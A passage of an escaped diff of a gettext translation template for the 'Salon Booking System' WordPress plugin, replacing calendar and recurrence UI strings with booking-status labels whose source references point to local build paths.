build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:677, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:1029, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:677, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:912, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:677, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:1028, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:677, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:1029\n-msgid \"every three week\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FMetabox\u002FBookingActions.php:10\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FMetabox\u002FBookingActions.php:10\n+msgid \"Booking Actions\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:678, views\u002Fmetabox\u002Fbooking.php:1030, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:678, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:1030, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:678, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:1030, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:678, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:913, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:678, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:1029, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:678, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:1030\n-msgid \"every four week\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FDiscountsHistoryList.php:26\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FDiscountsHistoryList.php:26\n+msgid \"Booking amount\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:680, views\u002Fmetabox\u002Fbooking.php:1032, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:680, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:1032, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:680, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:1032, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:680, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:915, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:680, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:1031, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:680, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:1032\n-msgid \"until\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:682\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:682\n+msgid \"Booking Archive\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:691, views\u002Fadmin\u002Fcalendar.php:691, views\u002Fmetabox\u002Fbooking.php:1034, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:691, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:691, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:1034, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:691, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:691, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:1034, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:691, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:691, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:917, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:691, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:691, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:1033, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:691, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:691, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:1034\n-msgid \"Clone\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_booking_calendar\u002Fcalendar_full.php:3\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_booking_calendar\u002Fcalendar_full.php:3\n+msgid \"Booking Calendar by Assistant\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:695, views\u002Fmetabox\u002Fbooking.php:1039, views\u002Fshortcode\u002F_salon_date_pickers.php:31, src\u002FSLN\u002FAction\u002FInitScripts.php:165, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:695, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:1039, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_date_pickers.php:31, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:165, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:695, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:1039, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_date_pickers.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:695, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:922, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_date_pickers.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:695, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:1038, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_date_pickers.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:695, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:1039, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_date_pickers.php:31, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:165, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:165, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:165, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:165\n-msgid \"Close\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002Fstatus_canceled.php:37\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Fstatus_canceled.php:37\n+msgid \"Booking Canceled\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:706, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:706, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:706, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:706, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:706, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:706\n-msgid \"Refer a friend and get a 30% discount\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:16\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:16\n+msgid \"Booking cancellation\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:734, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:734, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:734, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:734, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:734, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:734\n-msgid \"Export reservations into a CSV file\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:58\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:617\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:58\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:617\n+msgid \"Booking cancelled\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:742, views\u002Fadmin\u002F_calendar_render_day.php:123, views\u002Fshortcode\u002F_services_item_400.php:35, views\u002Fshortcode\u002F_services_item_600.php:35, views\u002Fshortcode\u002F_services_item_900.php:35, src\u002FSLN\u002FAdmin\u002FTools.php:163, src\u002FSLN\u002FHelper\u002FAvailability.php:133, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:742, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:123, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_services_item_400.php:35, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_services_item_600.php:35, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_services_item_900.php:35, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:163, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:133, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:742, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:123, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_services_item_400.php:35, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_services_item_600.php:35, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_services_item_900.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:742, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:123, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_services_item_400.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_services_item_600.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_services_item_900.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:742, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:123, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_services_item_400.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_services_item_600.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_services_item_900.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:742, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:123, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_services_item_400.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_services_item_600.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_services_item_900.php:35, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:163, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:133, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:163, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:133, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:163, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:133, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:163, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:133\n-msgid \"from\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPlugin.php:228\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FThankyouStep.php:61\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:228\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FThankyouStep.php:61\n+msgid \"Booking Confirmation\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:752, views\u002Fadmin\u002F_calendar_render_day.php:124, src\u002FSLN\u002FAdmin\u002FTools.php:164, src\u002FSLN\u002FHelper\u002FAvailability.php:134, src\u002FSLN\u002FHelper\u002FAvailability.php:151, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:752, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:124, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:164, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:134, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:151, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:752, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:124, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:752, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:124, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:752, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:124, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:752, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:124, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:164, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:134, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:151, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:164, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:134, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:151, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:164, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:134, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:151, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:164, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:134, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:151\n-msgid \"to\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_confirmation.php:14\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_confirmation.php:14\n+msgid \"Booking confirmation\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:757, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:757, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:757, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:757, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:757, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:757\n-msgid \"Export bookings to a CSV file\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002Fstatus_confirmed.php:35\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:616\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Fstatus_confirmed.php:35\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:616\n+msgid \"Booking confirmed\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:766, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:766, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:766, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:766, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:766, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:766\n-msgid \"Bookings status legend\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking\u002FBuilder.php:104\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking\u002FBuilder.php:104\n+msgid \"\"\n+\"Booking data not found. Your session may have expired. Please start the \"\n+\"booking process again.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:779, views\u002Fadmin\u002Fcalendar.php:780, views\u002Fadmin\u002Futilities\u002Fsettings-sidebar.php:32, views\u002Fadmin\u002Futilities\u002Fsettings-sidebar.php:33, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:779, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:780, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Futilities\u002Fsettings-sidebar.php:32, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Futilities\u002Fsettings-sidebar.php:33, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:779, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:780, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:779, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:780, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:779, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:780, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:779, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:780, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Futilities\u002Fsettings-sidebar.php:32, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Futilities\u002Fsettings-sidebar.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Futilities\u002Fsettings-sidebar.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Futilities\u002Fsettings-sidebar.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Futilities\u002Fsettings-sidebar.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Futilities\u002Fsettings-sidebar.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Futilities\u002Fsettings-sidebar.php:32, 